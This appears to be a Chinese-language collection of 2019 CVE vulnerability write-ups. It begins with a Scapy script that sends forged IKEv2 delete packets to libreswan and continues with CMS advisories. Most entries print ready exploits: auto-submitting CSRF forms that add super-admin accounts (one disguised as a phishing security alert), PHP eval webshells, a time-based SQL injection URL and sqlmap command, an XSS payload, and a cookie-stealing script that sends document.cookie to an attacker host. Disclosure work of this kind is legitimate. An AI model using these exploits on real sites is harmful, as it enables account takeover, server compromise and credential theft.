                                   mode=modes.CBC,
                                   key_size=(8,))
    CRYPT_ALGOS['3DES'] = CryptAlgo('3DES',
                                    cipher=algorithms.TripleDES,
                                    mode=modes.CBC)
    CRYPT_ALGOS['CAST'] = CryptAlgo('CAST',
                                    cipher=algorithms.CAST5,
                                    mode=modes.CBC)
if conf.crypto_valid:
    from cryptography.hazmat.primitives.hmac import HMAC
    from cryptography.hazmat.primitives.cmac import CMAC
    from cryptography.hazmat.primitives import hashes
else:
    HMAC = CMAC = hashes = None


class IPSecIntegrityError(Exception):
    """
    Error risen when the integrity check fails.
    """
    pass


class AuthAlgo(object):
    def __init__(self, name, mac, digestmod, icv_size, key_size=None):
        self.name = name
        self.mac = mac
        self.digestmod = digestmod
        self.icv_size = icv_size

    @crypto_validator
    def new_mac(self, key):
        return self.mac(key, self.digestmod(), default_backend())

    def sign(self, pkt, key):
        if not self.mac:
            return pkt

        mac = self.new_mac(key)
        mac.update(raw(pkt))
        pkt[IKEv2_payload_Encrypted].load += mac.finalize()[:self.icv_size]

        return pkt


AUTH_ALGOS = {
    'NULL': AuthAlgo('NULL', mac=None, digestmod=None, icv_size=0),
}

if HMAC and hashes:
    AUTH_ALGOS['HMAC-SHA1-96'] = AuthAlgo('HMAC-SHA1-96',
                                          mac=HMAC,
                                          digestmod=hashes.SHA1,
                                          icv_size=12)
    AUTH_ALGOS['SHA2-256-128'] = AuthAlgo('SHA2-256-128',
                                          mac=HMAC,
                                          digestmod=hashes.SHA256,
                                          icv_size=16)
    AUTH_ALGOS['SHA2-384-192'] = AuthAlgo('SHA2-384-192',
                                          mac=HMAC,
                                          digestmod=hashes.SHA384,
                                          icv_size=24)
    AUTH_ALGOS['SHA2-512-256'] = AuthAlgo('SHA2-512-256',
                                          mac=HMAC,
                                          digestmod=hashes.SHA512,
                                          icv_size=32)
    AUTH_ALGOS['HMAC-MD5-96'] = AuthAlgo('HMAC-MD5-96',
                                         mac=HMAC,
                                         digestmod=hashes.MD5,
                                         icv_size=12)
if CMAC and algorithms:
    AUTH_ALGOS['AES-CMAC-96'] = AuthAlgo('AES-CMAC-96',
                                         mac=CMAC,
                                         digestmod=algorithms.AES,
                                         icv_size=12,
                                         key_size=(16,))


class SecurityAssociation_IKE(object):
    def __init__(self, crypt_algo=None, crypt_key=None,
                 auth_algo=None, auth_key=None):

        self.crypt_algo = CRYPT_ALGOS[crypt_algo]
        self.crypt_key = crypt_key

        self.auth_algo = AUTH_ALGOS[auth_algo]
        self.auth_key = auth_key

    def _encrypt_esp(self, sk, iv=None):

        if iv is None:
            iv = self.crypt_algo.generate_iv()
        else:
            if len(iv) != self.crypt_algo.iv_size:
                raise TypeError('iv length must be %s' % self.crypt_algo.iv_size)
        sk = self.crypt_algo.pad(sk)
        # print("\\".join([hex(i) for i in list(sk)]))
        sk1 = self.crypt_algo.encrypt(self, sk, self.crypt_key, iv)
        return sk1

    def sign(self, pkt):
        return self.auth_algo.sign(pkt, self.auth_key)

    def encrypt(self, sk, iv=None):
        return self._encrypt_esp(sk, iv=iv)

    def _decrypt_esp(self, sk1):
        sk = self.crypt_algo.decrypt(self, sk1, self.crypt_key)
        return sk

    def decrypt(self, sk1):
        return self._decrypt_esp(sk1)


class esp:
    def __init__(self, esp_spi_i, esp_spi_r, esp_ei, esp_ai, esp_ni, esp_nr, esp_ip):
        self.esp_spi_i = esp_spi_i
        self.esp_spi_r = esp_spi_r
        self.esp_ei = esp_ei
        self.esp_ai = esp_ai
        self.esp_ni = esp_ni
        self.esp_nr = esp_nr
        self.id = 1
        self.esp_ip = esp_ip


class ikev2:
    def __init__(self, spi_i, spi_r, sk_ei, sk_er, sk_ai, sk_pi, sk_d, ni, nr, id=0, current_esp=None, old_esp=None):
        self.spi_i = spi_i
        self.spi_r = spi_r
        self.sk_ei = sk_ei
        self.sk_er = sk_er
        self.sk_ai = sk_ai
        self.sk_pi = sk_pi
        self.sk_d = sk_d
        self.ni = ni
        self.nr = nr
        self.id = 0
        self.current_esp = None
        self.old_esp = None

    def __str__(self):
        return "[{}:{}]".format(self.__class__.__name__, self.gatherAttrs())

    def gatherAttrs(self):
        return ",".join("{}={}\n"
                        .format(k, getattr(self, k))
                        for k in self.__dict__.keys())


g = 0x02
m = long_converter("""
FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08
8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B
302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9
A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6
49286651 ECE65381 FFFFFFFF FFFFFFFF""")


def my_srp1(pks, verbose, filter, timeout):
    for time in timeout:
        thread = threading.Thread(
            target=sendp,
            args=(pks, 0, 0, iface, None, None, verbose),
        )
        thread.start()
        pck = sniff(iface=iface, count=1, filter="not dst host %s and " % ip_dst + filter, timeout=time)
        thread.join()
        if len(pck) != 0:
            return pck
    return None


def send_first_pck():
    pn = dh.DHParameterNumbers(m, g)
    params = pn.parameters(default_backend())
    private_key = params.generate_private_key()
    peer_public_key = private_key.public_key()
    y = peer_public_key.public_numbers().y
    y_net = pkcs_i2osp(y, peer_public_key.key_size // 8)

    spi_i = os.urandom(8)
    ni = os.urandom(32)
    pck1 = build_first_pck(y_net, spi_i, ni)
    time.sleep(1)
    c = srp1(pck1, iface=iface, filter="udp and port 500", timeout=srp1_timeout, retry=0, verbose=srp1_verbose)
    if c is None:
        time.sleep(1)
        c = srp1(pck1, iface=iface, filter="udp and port 500", timeout=srp1_timeout_init, retry=0, verbose=srp1_verbose)
        if c is None:
            print("IKE_INIT no response")
            print("Incorrect configuration")
            sys.exit(-1)
            return -1
    print(c[0].summary())
    if len(c[0]) < 100:
        print("init_IKE fail,invalid syntax")
        sys.exit(-1)
    pck2 = c[0]
    spi_r = pck2[IKEv2].resp_SPI

    nr = pck2[IKEv2_payload_Nonce].load  # ok!
    response_peer_public_key = pkcs_os2ip(pck2[IKEv2_payload_KE].load)
    response_peer_public_numbers = dh.DHPublicNumbers(response_peer_public_key, pn)
    real_response_peer_public_key = response_peer_public_numbers.public_key(default_backend())

    shared_key_1 = private_key.exchange(real_response_peer_public_key)
    shared_key = shared_key_1[:128]
    h = hmac.HMAC(ni + nr, hashes.SHA1(), backend=default_backend())
    h.update(shared_key)
    SKEYSEED = h.finalize()
    K = SKEYSEED
    S = ni + nr + spi_i + spi_r
    T = b""
    TotalKey = b""
    count_byte = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10"
    for i in range(1, 10):
        data = T + S + count_byte[i - 1:i]
        h = hmac.HMAC(K, hashes.SHA1(), backend=default_backend())
        h.update(data)
        T = h.finalize()
        TotalKey += T
    SK_d = TotalKey[0:20]
    SK_ai = TotalKey[20:20 + 20]
    SK_ar = TotalKey[40:40 + 20]
    SK_ei = TotalKey[60:60 + 24]
    SK_er = TotalKey[84:84 + 24]
    SK_pi = TotalKey[108:108 + 20]
    SK_pr = TotalKey[128:128 + 20]
    ikev2_1 = ikev2(spi_i, spi_r, SK_ei, SK_er, SK_ai, SK_pi, SK_d, ni, nr)
    my_ikev2["current"] = ikev2_1
    my_ikev2["current"].id += 1
    my_ikev2["pck1"] = raw(pck1)
    return 1


def build_first_pck(y_net, spi_i, ni):
    a = Ether(dst=ether_dst)
    a /= IP(dst=ip_dst)
    a /= UDP(sport=500, dport=500)
    a /= IKEv2(init_SPI=spi_i, exch_type=34, flags=0x8)
    a /= IKEv2_payload_SA(next_payload=34, prop=IKEv2_payload_Proposal(trans_nb=4,
                                                                       trans=IKEv2_payload_Transform(transform_type=1,
                                                                                                     transform_id=3)
                                                                             / IKEv2_payload_Transform(
                                                                           transform_type=3,
                                                                           transform_id=2) / IKEv2_payload_Transform(
                                                                           transform_type=2,
                                                                           transform_id=2) / IKEv2_payload_Transform(
                                                                           transform_type=4, transform_id=2)))
    a /= IKEv2_payload_KE(next_payload=40, group=2, load=y_net)
    a /= IKEv2_payload_Nonce(next_payload=41,
                             load=ni)
    a /= IKEv2_payload_Notify(next_payload=41, proto=0, type=16388,
                              load=b"\x13\xfa\x01\xe7\x3c\xe4\x93\x54\xb6\xec\x88\x1d\xea\x53\x13\x4f\xad\x32\x86\x20")
    a /= IKEv2_payload_Notify(next_payload=43, proto=0, type=16389,
                              load=b"\xde\xb7\xf8\x91\xdd\x58\x28\xe6\x89\xc3\xc1\x6c\xae\x9a\x07\xb8\x6f\xb4\x13\xc3")
    a /= IKEv2_payload_VendorID(next_payload=43,
                                vendorID=b"\x1e\x2b\x51\x69\x05\x99\x1c\x7d\x7c\x96\xfc\xbf\xb5\x87\xe4\x61\x00\x00"
                                         b"\x00\x09")
    a /= IKEv2_payload_VendorID(next_payload=43,
                                vendorID=b"\xfb\x1d\xe3\xcd\xf3\x41\xb7\xea\x16\xb7\xe5\xbe\x08\x55\xf1\x20")
    a /= IKEv2_payload_VendorID(next_payload=43,
                                vendorID=b"\x26\x24\x4d\x38\xed\xdb\x61\xb3\x17\x2a\x36\xe3\xd0\xcf\xb8\x19")
    a /= IKEv2_payload_VendorID(next_payload=0,
                                vendorID=b"\x01\x52\x8b\xbb\xc0\x06\x96\x12\x18\x49\xab\x9a\x1c\x5b\x2a\x51\x00\x00"
                                         b"\x00\x02")

    return a


def create_encrypted_payload(b, sa, exch_type, next_payload, ikev2_1):
    spi_i = ikev2_1.spi_i
    spi_r = ikev2_1.spi_r
    id = ikev2_1.id
    SK_ai = ikev2_1.sk_ai
    sk = raw(b)
    iv = b"\x3d\x21\x87\x9c\x40\x0e\x58\xe5"
    sk1 = sa.encrypt(sk, iv=iv)
    a = IKEv2(init_SPI=spi_i, resp_SPI=spi_r, exch_type=exch_type, flags=8, id=id)
    # id += 1
    a /= IKEv2_payload_Encrypted(next_payload=next_payload,
                                 load=sk1 + struct.pack("B" * 12, *[0 for i in range(12)]))
    h = hmac.HMAC(SK_ai, hashes.SHA1(), backend=default_backend())
    h.update(raw(a)[:len(a) - 12])
    c = h.finalize()
    icv = c[:12]
    a = IKEv2(init_SPI=spi_i, resp_SPI=spi_r, exch_type=exch_type, flags=8, id=id)
    a /= IKEv2_payload_Encrypted(next_payload=next_payload,
                                 load=sk1 + icv)
    b = Ether(dst=ether_dst)
    b /= IP(dst=ip_dst, id=1, flags=0, proto=17)
    b /= UDP(sport=4500, dport=4500)
    b /= ESP(seq=struct.unpack('>I', (raw(a)[:4]))[0], data=raw(a)[4:])
    return b


def delete_current_IKE_SA():
    if my_ikev2["current"] is None:
        print("没有当前ike,不能强制删除")
        return 0
    delete_IKE_1(my_ikev2["current"])
    my_ikev2["current"].id += 1


def delete_IKE_1(ikev2_1):
    SK_ei = ikev2_1.sk_ei
    a = IKEv2_payload_Delete(vendorID=b"\x01\x00\x00\x00")
    sa = SecurityAssociation_IKE(crypt_algo='3DES',
                                 crypt_key=SK_ei,
                                 auth_algo='HMAC-SHA1-96',
                                 auth_key=b"")
    b = create_encrypted_payload(raw(a), sa, 37, 42, ikev2_1)
    sendp(b, iface=iface)


def init():
    global my_ikev2
    my_ikev2 = copy.deepcopy(init_my_ikev2)


def get_mac_dst(ip_dst):
    s = 'ping ' + ip_dst
    os.system(s)
    try:
        for line in os.popen("arp -a"):
            if line.lstrip().startswith(ip_dst):
                s1 = line.split()
                mac = s1[1].replace("-", ":")
                print(mac)
        return mac
    except:
        print("can't get mac")


def create_mac_dst():
    global ether_dst
    ether_dst = get_mac_dst(ip_dst)


def close_all():
    global my_ikev2
    my_ikev2 = copy.deepcopy(init_my_ikev2)
    return 0


if __name__ == '__main__':
    init()
    for i in range(1):
        send_first_pck()
        delete_current_IKE_SA()
    sys.exit(0)


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/218/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12312
github:https://github.com/libreswan/libreswan/issues/246
exploit-db:发布中

CVE-2019-11374:骑士74CMS v5.0.1后台管理页面存在CSRF漏洞

一、漏洞摘要

漏洞名称: 骑士74CMS v5.0.1后台管理页面存在CSRF漏洞
上报日期: 2019-04-14
漏洞发现者: ax8
产品首页: http://www.74cms.com/
软件链接: http://www.74cms.com/download/index.html
版本: v5.0.1
CVE编号: CVE-2019-11374


二、漏洞概述

登陆后台管理页面如下,可以添加管理员
1.png
输入信息点击添加
2.png
抓取数据包如下
3.png
测试发现其存在CSRF漏洞,管理员登陆后台管理界面后,点击hacker发来的如下链接,即可创建一个新的超级管理员用户
4.png

三、利用代码

exp代码如下:

<!--poc.html(creat a administrater)-->
<!DOCTYPE html>
<html>
  <head>
  <title> CSRF Proof</title>
  <script type="text/javascript">
    function exec1(){
      document.getElementById('form1').submit();
    }
  </script>
  </head>
  <body onload="exec1();">
    <form id="form1" action="http://localhost/index.php?m=Admin&c=admin&a=add" method="POST">
      <input type="hidden" name="username" value="hacker1" />
  <input type="hidden" name="email" value="111111111@qq.com" />
      <input type="hidden" name="password" value="hacker1" />
      <input type="hidden" name="repassword" value="hacker1" />  
  <input type="hidden" name="role_id" value="1" />
    </form>
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/203/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11374
exploit-db:发布中

CVE-2019-11375:MSVOD V10后台管理页面存在CSRF漏洞

一、漏洞摘要

漏洞名称: MSVOD V10后台管理页面存在CSRF漏洞
上报日期: 2019-04-14
漏洞发现者: ax8
产品首页: https://www.msvod.cc/
软件链接: https://www.msvodx.com/
版本: v10
CVE编号: CVE-2019-11375


二、漏洞概述

使用演示网站进行漏洞复现。如下进入模板风格-4演示站后台
1.png
进入会员管理页面
2.png
任意修改一个用户信息,抓包如下
3.png
尝试repeater发现其未对Refer字段进行检测,也没有使用token验证,存在CSRF漏洞。管理员登陆后台后,访问hacker发来的如下页面,可以实现任意修改会员账号、密码、金币、到期时间等信息。
4.png


三、利用代码

exp代码如下:

<!--poc.html(change user infomation)-->
<!DOCTYPE html>
<html>
  <head>
  <title> CSRF Proof</title>
  <script type="text/javascript">
    function exec1(){
      document.getElementById('form1').submit();
    }
  </script>
  </head>
  <body onload="exec1();">
    <form id="form1" action="http://a.msvodx.cn/admin/member/edit.html" method="POST">
      <input type="hidden" name="username" value="hacker1" />
  <input type="hidden" name="nickname" value="hacker1" />
  <input type="hidden" name="email" value="hacker1" />
  <input type="hidden" name="tel" value="hacker1" />
      <input type="hidden" name="password" value="hacker1" />
      <input type="hidden" name="out_time" value="1970-01-01" />  
  <input type="hidden" name="money" value="30" />
  <input type="hidden" name="is_permanent" value="0" />
  <input type="hidden" name="status" value="1" />
  <input type="hidden" name="id" value="821" />
    </form>
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/198/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11375
exploit-db:发布中

CVE-2019-11077:fastadmin V1.0.0.20190111_beta存在CSRF漏洞

一、漏洞摘要

漏洞名称: fastadmin V1.0.0.20190111_beta存在CSRF漏洞
上报日期: 2019-04-08
漏洞发现者: Yu Yang
产品首页: https://www.fastadmin.net
软件链接: https://www.fastadmin.net
版本: V1.0.0.20190111_beta
CVE编号: CVE-2019-11077


二、漏洞概述

在登录管理员后台后发现可以添加管理员用户
1.png
添加管理员正常的流程如下
2.png
下面为添加用户过程中的抓包的报文,可以看见没有csrf_token等防护措施
3.png
根据这些所得到的信息,我们就可以伪造html表单,并欺骗管理员点击,最后达到添加管理员用户的目的

三、利用代码

   <html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.242.128/fastadmin/public/admin/auth/admin/add?dialog=1" method="POST">
      <input type="hidden" name="group&#91;&#93;" value="1" />
      <input type="hidden" name="row&#91;username&#93;" value="admin1" />
      <input type="hidden" name="row&#91;email&#93;" value="test&#64;test&#46;com" />
      <input type="hidden" name="row&#91;nickname&#93;" value="admin1" />
      <input type="hidden" name="row&#91;password&#93;" value="admin1" />
      <input type="hidden" name="row&#91;status&#93;" value="normal" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

模拟管理员点击伪造的页面 ,查看效果
4.png
页面跳转后,发现管理员用户添加成功
5.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/191/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11077
exploit-db:发布中

CVE-2019-11376:soycms v3.0.2任意php代码执行

一、漏洞摘要

漏洞名称: soycms v3.0.2任意php代码执行
上报日期: 2019-04-08
漏洞发现者: Yu Yang
产品首页: https://saitodev.co/soycms/
软件链接: https://github.com/inunosinsi/soycms
版本: v3.0.2
CVE编号: CVE-2019-11376


二、漏洞概述

soycms v3.0.2后台网页编辑功能过滤不严格,导致在后台更改的代码中可以带入php代码造成代码执行。

三、利用方法

1.首先我们成功安装该cms,并进入后台,可以对网页进行编辑,此处编辑index,php
1.png
我们能插入任意的PHP代码进入网页,并保存到http://xxx.xxx.xxx/'New directory'/index.php,如上图所示,我们插入的代码为:<?php phpinfo();?>
2.png
插入之后,代码都可以成功执行,所以我们可以插入恶意代码并getshell
3.png
poc:<?php @eval($_POST[c]);?>

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/212/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11376
exploit-db:发布中

CVE-2019-11078:MKCMS V5.0存在CSRF漏洞

一、漏洞摘要

漏洞名称: MKCMS V5.0存在CSRF漏洞
上报日期: 2019-04-04
漏洞发现者: cisk
产品首页: https://micool.net/1090.html
软件链接: https://www.lanzous.com/i2ipcre
版本: V5.0
CVE编号: CVE-2019-11078


二、漏洞概述

CSRF: ucenter/userinfo.php
post请求中没有带token,也没有验证Referer,导致产生csrf漏洞
6.png

三、利用方法

构造如下poc.html,并访问poc.html;将修改lduo123账号的密码

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://v.micool.top/ucenter/userinfo.php" method="POST">
      <input type="hidden" name="u&#95;name" value="lduo123" />
      <input type="hidden" name="u&#95;password" value="123456" />
      <input type="hidden" name="u&#95;phone" value="1314520" />
      <input type="hidden" name="u&#95;qq" value="" />
      <input type="hidden" name="u&#95;email" value="admin&#64;gmail&#46;com" />
      <input type="hidden" name="save" value="" />
      <input type="submit" value="Submit request" />
    </form>    
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/193/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11078
exploit-db:发布中

CVE-2019-11377:WCMS v0.3.2存在任意文件上传漏洞

一、漏洞摘要

漏洞名称: WCMS v0.3.2存在任意文件上传漏洞
上报日期: 2019-04-04
漏洞发现者: Yu Yang
产品首页: http://wcms.space/
软件链接: https://github.com/vedees/wcms
版本: v0.3.2
CVE编号: CVE-2019-11377


二、漏洞概述

在代码层上进行分析,发现该位置的上传功能,虽然建立有文件上传的白名单,但是并没有过滤掉充满风险的后缀(比如php)
1.png

三、利用方法

1.使用上传功能,在该CMS后台的 developer/finder模块
2.png
2.我们可以通过这个上传功能,上传任意后缀的文件到网站服务器上,这就导致攻击者可以上传恶意代码到服务器,以达到getshell的目的
3.png
POC(2.php):
<?php @eval($_POST[c]);?>
4.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/208/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11377
exploit-db:发布中

CVE-2019-10708:S-CMS PHP v1.0存在SQL注入漏洞

一、漏洞摘要

漏洞名称: S-CMS PHP v1.0存在SQL注入漏洞
上报日期: 2019-04-01
漏洞发现者: cuokon
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v1.0
CVE编号: CVE-2019-10708


二、漏洞概述

在js目录下的scms.php存在sql盲注
漏洞源码
1.png
这里接受了一个id的参数,在其他地方都有把typeid转换为数字,可是这里没有转换而是直接截取了字符串然后放到sql语句执行,虽然这里有字符串拼接的时候加了个unlike在进行判断,可是并不影响,因为通过fuzz可以直接报出来!这里也有对空格单引号和双引号进行过滤,但是这里是数字类型的sql语句所以不需要双引号的闭合。
因为这里过滤掉了空格(%20),把%20改为%09即可绕过。

三、利用代码

Payload为:

http://127.0.0.1/cms/4/js/scms.php?action=unlike&id=t1%09and%09sleep(15)&timestamp=10000000000000000&key=830330726b002ca3514de00392105c92

2.png
3.png
可以看到我设置了延迟了15秒请求时间为15.05s,然后我在猜测一下他数据库的第一个字母s的ascii码是115,然后通过时间看到了是5.02秒和我设置设置的延迟时间差不多,所以判断存在sql盲注。

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/185/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10708
exploit-db:发布中

CVE-2019-10707: MKCMS V5.0存在SQL注入漏洞

一、漏洞摘要

漏洞名称: MKCMS V5.0存在SQL注入漏洞
上报日期: 2019-03-30
漏洞发现者: sueyuDen
产品首页: https://micool.net/1090.html
软件链接: https://www.lanzous.com/i2ipcre
版本: V5.0
CVE编号: CVE-2019-10707


二、漏洞概述

下载源码后本地搭建。
1.png
漏洞存在在http://127.0.0.1/mkcms/bplay.php
漏洞URL:http://127.0.0.1/mkcms/bplay.php?play=1
用sqlmap跑
sqlmap命令:python2 sqlmap.py -u "http://127.0.0.1/mkcms/bplay.php?play=1" --batch --dbs
2.png
3.png
可以跑出库名,表名,字段等等。
4.png
源码分析:
打开bplay.php
5.png
漏洞语句在第四行
可以看到这里它对play参数没有做过滤的就直接带入了sql语句,从而导致了sql注入。

三、利用代码

exp代码如下:
sqlmap命令为

python2 sqlmap.py -u "http://127.0.0.1/mkcms/bplay.php?play=1" --batch --dbs


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/181/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10707
exploit-db:发布中

CVE-2019-10238:SitemagicCMS上传参数存在反射型XSS

一、漏洞摘要

漏洞名称: SitemagicCMS上传参数存在反射型XSS
上报日期: 2019-03-23
漏洞发现者: F1y1nth3sky
产品首页: https://github.com/Jemt/SitemagicCMS
软件链接: https://github.com/Jemt/SitemagicCMS
版本: v4.4
CVE编号: CVE-2019-10238


二、漏洞概述

上传处filename参数存在XSS
/SitemagicCMS/index.php?SMFilesUpload&SMExecMode=Dedicated&SMExt=SMFiles&SMFilesUploadPath=files/images&SMTemplateType=Basic
extensions/SMFiles/FrmUpload.class.php:对参数没有进行过滤
11.png


三、利用代码

filename="xss<img src="/zh_CN/htmledition/images/transparent.png" lazysrc=1 onerror=alert(1)>"

22.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/175/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10238
exploit-db:发布中

CVE-2019-10237:S-CMS学校建站系统PHP版V1.0存在CSRF漏洞

一、漏洞摘要

漏洞名称: S-CMS学校建站系统PHP版V1.0存在CSRF漏洞
上报日期: 2019-03-22
漏洞发现者: Liu Ze Yan , Wang Chi Heng ,Yu Fen , Xie Chao Qi
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v1.0
CVE编号: CVE-2019-10237


二、漏洞概述

正常情况下,顶级管理员在登录后,可以进入到【账号管理】中,进行添加管理员
1.png
2.png
上面是正常的界面管理员添加界面。填写好相关数据后,管理员正常进行添加。然后我们看看抓取到的数据。
3.png
下图为顶级管理员添加的请求包:
可以看到,请求头中记录了关于URL,请求方法,以及表单值等重要的信息,并且是明文显示。
4.png
5.png

这就给攻击者制造了CSRF欺骗的条件,我们可以根据根据这些值进行html页面伪造,并且诱骗网站管理员进行点击,从而达到添加属于新管理员的目的

三、利用代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Your account is at risk of being stolen.  Please change your password as soon as possible.</title>
</head>
  <body style="background-color:PowderBlue;">
               <h1>Your account is at risk of being stolen. </h1>
               <p style="font-family:verdana;color:red">Please change your password as soon as possible.</p>
               <p style="font-family:times;color:green">This product provides a key maintenance system.</p>

               <p style="font-size:30px">Please click the button below to check account security.</p>             
<form action="http://192.168.43.89/4.edu.php/admin/ajax.php?type=admin&action=add&lang=0" method="POST" id="transfer" name="transfer">
       <input type="hidden" name="A_login" value="admin2">
      <input type="hidden" name="A_pwd" value="123456">
      <input type="hidden" name="A_type" value="admin">
      <input type="hidden" name="A_a0" value="1">
             <input type="hidden" name="A_a1" value="1">
             <input type="hidden" name="A_a2" value="1">
             <input type="hidden" name="A_a3" value="1">
             <input type="hidden" name="A_a4" value="1">
             <input type="hidden" name="A_a5" value="1">
             <input type="hidden" name="A_a6" value="1">
             <input type="hidden" name="A_a8" value="1">
             <input type="hidden" name="A_a10" value="1">
             <input type="hidden" name="A_a7" value="1">
             <input type="hidden" name="A_a9" value="1">
             <input type="hidden" name="A_a11" value="1">
             <input type="hidden" name="A_textauth[]" value="13">
             <input type="hidden" name="A_textauth[]" value="13">
             <input type="hidden" name="A_textauth[]" value="14">
             <input type="hidden" name="A_textauth[]" value="2">
             <input type="hidden" name="A_textauth[]" value="1">
             <input type="hidden" name="A_textauth[]" value="all">
             <input type="hidden" name="A_newsauth[]" value="7">
             <input type="hidden" name="A_newsauth[]" value="1">
             <input type="hidden" name="A_newsauth[]" value="108">
             <input type="hidden" name="A_newsauth[]" value="104">
             <input type="hidden" name="A_newsauth[]" value="113">
             <input type="hidden" name="A_newsauth[]" value="112">
             <input type="hidden" name="A_newsauth[]" value="109">
             <input type="hidden" name="A_newsauth[]" value="106">
             <input type="hidden" name="A_newsauth[]" value="105">
             <input type="hidden" name="A_newsauth[]" value="110">
             <input type="hidden" name="A_newsauth[]" value="all">
             <input type="hidden" name="A_productauth[]" value="8">
             <input type="hidden" name="A_productauth[]" value="7">
             <input type="hidden" name="A_productauth[]" value="4">
             <input type="hidden" name="A_productauth[]" value="3">
             <input type="hidden" name="A_productauth[]" value="2">
             <input type="hidden" name="A_productauth[]" value="all">
             <input type="hidden" name="A_formauth[]" value="9">
             <input type="hidden" name="A_formauth[]" value="8">
             <input type="hidden" name="A_formauth[]" value="7">
             <input type="hidden" name="A_formauth[]" value="all">
             <input type="hidden" name="A_bbsauth[]" value="1">
             <input type="hidden" name="A_bbsauth[]" value="all">
<button type="submit" value="Submit">Click to enter the security check</button>
      </form>
  </body>
</html>

这是构造好的页面效果
6.png
已经登录的管理员点击按钮后就会触发添加账户和修改账户权限的操作。
7.png
后台可以看到已经被添加了一个admin账户并且拥有了所有权限
8.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/172/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10237
exploit-db:发布中

CVE-2019-9925:S-CMS学校建站系统PHP版V1.0多处反射型XSS

一、漏洞摘要

漏洞名称: S-CMS学校建站系统PHP版V1.0多处反射型XSS
上报日期: 2019-03-21
漏洞发现者: Liu Ze Yan
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v1.0
CVE编号: CVE-2019-9925


二、漏洞概述

以下目录均有参数可以进行反射性xss攻击
1.png

原因在于输入参数的地方没有进行因该有的过滤
2.png
3.png
4.png

因此我们可以构造简单的测试payload
5.png
可以看到已经能够执行了xss语句

三、利用代码

首先编写收集用的代码

<?php 
$cookie = $_GET['q']; 
var_dump($cookie); 
$myFile = "cookie.txt"; 
file_put_contents($myFile, $cookie); 
?> 

接着写发送请求的hacker.js,代码如下:

var img = new Image();
img.src = "http://127.0.0.1/hack.php?q="+document.cookie;
document.body.append(img);

在这里做的是本地测试,所以使用127.0.0.1的ip

模拟欺骗链接

<a href=" http://localhost/4.edu.php/?S_id=%3Cscript+
src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=
all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=
1&pcat=food2011&style=grid&cat=">点击就送998</a>

当已登录用户点击之后,则可以实现在服务器上获取其登录cookies,甚至用户名密码。
6.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/163/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9925
exploit-db:发布中

CVE-2019-9652:sdcms V1.7 后台csrf漏洞

一、漏洞摘要

漏洞名称: sdcms V1.7 后台csrf漏洞
上报日期: 2019-03-04
漏洞发现者: Yang.X
产品首页: https://www.sdcms.cn/
软件链接: https://www.sdcms.cn/down-109.html
版本: 1.7
CVE编号: CVE-2019-9652


二、漏洞概述

整站后台请求没有加上csrf token保护,所以可以伪造客户端请求。 配合后台代码执行漏洞(http://www.iwantacve.cn/index.php/archives/155/),即可getshell。

三、利用方法

将以下代码保存为html文件,放在网站上,将网址发给管理员,在管理登陆的情况下,点击链接即可在top.php中插入恶意代码从而getshell。
exp:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/sdcms17/?m=admin&c=theme&a=edit&root=ZGVmYXVsdC90b3AuUEhQ" method="POST">
      <input type="hidden" name="file" value="default&#47;top&#46;php" />
      <input type="hidden" name="t0" value="ZGVmYXVsdC90b3AuUEhQ" />
      <input type="hidden" name="t1" value="" />
